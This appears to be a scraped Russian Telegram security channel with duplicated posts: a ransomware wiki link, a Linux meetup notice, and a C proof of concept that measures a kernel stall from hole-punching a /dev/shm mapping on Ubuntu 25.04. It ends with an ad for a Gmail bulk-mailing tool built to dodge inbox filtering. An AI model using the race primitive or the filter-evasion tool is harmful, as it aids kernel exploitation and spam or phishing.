Ransomware recovery wiki
*
шаг влево, шаг вправо - уже не спасает, но общие рекомендации остаются такие же.
Исходя из подобных вики, рансом группы как раз таки и меняют свой подход, лейте больше )))
*
шаг влево, шаг вправо - уже не спасает, но общие рекомендации остаются такие же.
Исходя из подобных вики, рансом группы как раз таки и меняют свой подход, лейте больше )))
👍11🔥4
Ubuntu 25.04 (ядро 6.14.11)
минимальный POC
What ?
минимальный POC
What ?
#define _GNU_SOURCE
#include <sys/mman.h>
#include <fcntl.h>
#include <stdio.h>
#include <linux/falloc.h>
#include <err.h>
#include <pthread.h>
#define SYSCHK(x) ({ \
typeof(x) __res = (x); \
if (__res == (typeof(x))-1) \
err(1, "SYSCHK(" #x ")"); \
__res; \
})
#define FALLOC_LEN 64 * 1024 * 1024 // Max on Ubuntu 25.04
pthread_barrier_t barrier;
int ffd;
char *fmap;
void hole_punch() {
SYSCHK(ffd = open("/dev/shm/", O_TMPFILE | O_RDWR, 0666));
SYSCHK(fallocate(ffd, 0, 0, FALLOC_LEN));
SYSCHK(fmap = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, ffd, 0));
pthread_barrier_wait(&barrier); // barrier 1
SYSCHK(fallocate(ffd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, 0, FALLOC_LEN));
}
int main(void) {
pthread_barrier_init(&barrier, NULL, 2);
pthread_t hole_punch_thread;
SYSCHK(pthread_create(&hole_punch_thread, NULL, (void*)hole_punch, NULL));
struct timespec start, end;
pthread_barrier_wait(&barrier); // barrier 1
clock_gettime(CLOCK_MONOTONIC, &start);
volatile char dummy = *(char *)fmap; // Simulated kernel access during hole punch
clock_gettime(CLOCK_MONOTONIC, &end);
long long stall_ns = (end.tv_sec - start.tv_sec) * 1000000000LL + (end.tv_nsec - start.tv_nsec);
printf("Stall time: %lld ns\n", stall_ns);
}
🔥21😱8
ИДЕМ !
Всем привет!
24 декабря 2025, состоится очередная встреча сообщества SPbLUG, но в формате новогодней Линуксовки!
Вспомним события уходящего года, обсудим планы на будущее, пожелаем всем ОС Линукс на десктопе, в общем поболтаем и повеселимся!
Время: с 19:30 24 декабря 2025
Место: 2-я Советская улица, дом 18, Санкт-Петербург. FAILOVER BAR/Tara Brooch
Регистрация и паспорт не требуются
Всем привет!
24 декабря 2025, состоится очередная встреча сообщества SPbLUG, но в формате новогодней Линуксовки!
Вспомним события уходящего года, обсудим планы на будущее, пожелаем всем ОС Линукс на десктопе, в общем поболтаем и повеселимся!
Время: с 19:30 24 декабря 2025
Место: 2-я Советская улица, дом 18, Санкт-Петербург. FAILOVER BAR/Tara Brooch
Регистрация и паспорт не требуются
👍11🔥2
Simple Methods to Extract Media and Messages from WhatsApp, Signal, and Telegram
*
Пояснялово: 😁
Кликбейт (от англ.
click — «щелчок» и bait — «наживка») — это метод создания провокационных, интригующих, преувеличенных или ложных заголовков и анонсов, чтобы
*
Ну в общем READ
*
Пояснялово: 😁
Кликбейт (от англ.
click — «щелчок» и bait — «наживка») — это метод создания провокационных, интригующих, преувеличенных или ложных заголовков и анонсов, чтобы
любой ценой заставить пользователя кликнуть по ссылке и перейти на страницу, тем самым увеличивая трафик*
Ну в общем READ
👍12🔥5😱2
Forwarded from Mr. Pentium
This media is not supported in your browser
VIEW IN TELEGRAM
InboxPrime AI — инструмент, который помогает доводить рассылки до INBOX
InboxPrime AI заточен именно под рассылки через Gmail: аккуратная нагрузка, «человеческие» паттерны, максимум шансов попасть в INBOX.
в КАНАЛЕ ЕСТЬ ВИДЕО ОБЗОР СОФТА
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9😱5